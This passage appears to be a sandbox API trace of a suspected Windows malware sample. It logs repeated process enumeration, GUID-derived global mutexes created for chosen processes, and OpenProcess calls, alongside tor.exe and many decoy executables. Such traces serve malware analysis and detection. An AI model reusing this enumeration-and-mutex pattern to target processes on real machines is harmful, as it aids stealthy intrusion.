lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0122.752] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0122.753] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.754] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0122.755] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.755] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0122.756] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0122.757] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0122.758] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0122.758] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.759] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.760] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.761] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.762] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.762] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0122.763] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.764] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.765] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0122.765] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.766] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.767] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0122.767] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0122.767] GetLastError () returned 0xb7 [0122.767] CloseHandle (hObject=0x6cc) returned 1 [0122.767] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0122.768] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0122.768] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0122.768] GetLastError () returned 0xb7 [0122.768] CloseHandle (hObject=0x6cc) returned 1 [0122.768] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0122.769] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.770] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0122.770] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0122.770] GetLastError () returned 0x0 [0122.770] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0122.770] CloseHandle (hObject=0x6cc) returned 1 [0122.770] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.771] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0122.771] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0122.771] GetLastError () returned 0x0 [0122.771] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0122.771] CloseHandle (hObject=0x6cc) returned 1 [0122.771] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.772] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0122.772] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0122.772] GetLastError () returned 0xb7 [0122.772] CloseHandle (hObject=0x6cc) returned 1 [0122.772] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.772] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0122.772] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0122.773] GetLastError () returned 0x0 [0122.773] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0122.773] CloseHandle (hObject=0x6cc) returned 1 [0122.773] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0122.773] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0122.774] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0122.775] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0122.776] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0122.777] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0122.778] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0122.780] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0122.781] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0122.782] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0122.782] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0122.784] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0122.785] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0122.786] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0122.788] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0122.789] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0122.789] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0122.824] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0122.825] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0122.826] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0122.827] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0122.829] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.830] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0122.831] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.832] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0122.834] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0122.834] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0122.835] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0122.836] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0122.837] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.838] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0122.838] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0122.839] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0122.839] GetLastError () returned 0xb7 [0122.839] CloseHandle (hObject=0x6cc) returned 1 [0122.839] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0122.839] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0122.840] CloseHandle (hObject=0x56c) returned 1 [0122.840] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0122.998] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0123.000] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.001] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.002] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.003] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.003] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.004] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.005] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.006] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.007] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.007] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, 